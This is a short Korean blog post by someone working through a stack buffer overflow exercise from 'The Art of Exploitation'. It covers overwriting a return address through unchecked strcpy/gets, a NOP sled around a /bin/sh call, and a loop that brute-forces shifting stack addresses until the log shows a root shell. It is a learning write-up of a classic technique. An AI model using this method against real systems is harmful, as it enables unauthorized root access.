The art of exploitation 에 나오는.. 간단한 stack overflow 예제를 시도해봤는데 꺄홋! static 버퍼에.. strcpy 나.. gets등의 길이를 체크하지 않는 함수들을 이용해서.. stack 을 넘치게 해서.. 함수의 return address 를 내 맘대로 조작하고.. 그 return address 가 가리키는 곳에 프로그램 코드를 집어넣는 방식인데... 생각보다 어렵지도 않고.. 꽤 재밌다 -_-!!
execl( "/bin/sh", "sh", NULL ); 앞 뒤로.. __asm__( "nop"); 을 400개 정도씩 추가해주고.. 컴파일해서 얻은 코드를 hexeditor 로 열고, 0x90 사이에 숨어있는 코드를 복사해다가 해봤는데.. 이걸로는 쉘실행에 실패했다.. 중간에.. 0x00 이 들어가기 때문에.. strcpy에서.. 모든 코드를 복사하지 않은 듯 싶은데.. ㅠ_ㅠ 흑흑흑.. system("/bin/sh"); 는.. \x00 은 나오지 않는데도 안된다.. 흠 링크는 시키지 말고.. 컴파일만 해봐도.. 역시 뭔가 알 수가 없다 -_ㅜ.. 쉘 코드를 어떻게 만들어내는지를 알아야 더 재밌을 텐데 ㅠ_ㅠ
그리고 redhat 9 에서는.. 뭔가 stack overflow 를 이용한 공격에 대비하기 위한 패치가 존재하는 듯 싶다.. stack 의 주소가 계속 조금씩 바뀌길래 -_-!! 대강.. 자주 나오는 위치 근처로 offset 을 조정해주고.. while [ 1 ] ; do ./attack ; done 을 돌렸더니 몇 번 실패하더니 결국 주입한 코드 실행에 성공 .. -_-v
BASH:
while [ 1 ]; do ./attack doneStack pointer (ESP) : 0xbffff6b8
Offset from ESP : 0x5a8
Desired Return Addr: 0xbffff110
address of buffer = 0xbffff290
Segmentation fault
Stack pointer (ESP) : 0xbffff638
Offset from ESP : 0x528
Desired Return Addr: 0xbffff110
address of buffer = 0xbffff210
Segmentation fault
Stack pointer (ESP) : 0xbffff538
Offset from ESP : 0x428
Desired Return Addr: 0xbffff110
address of buffer = 0xbffff110
sh-2.05b# whoami
root
sh-2.05b#
젠투에는 그런 패치가 없는지 그냥 잘 된다 헤헤.. 하튼 잼난다 잼난다 꺄홋~
Tags: bof, buffer overflow, exploitation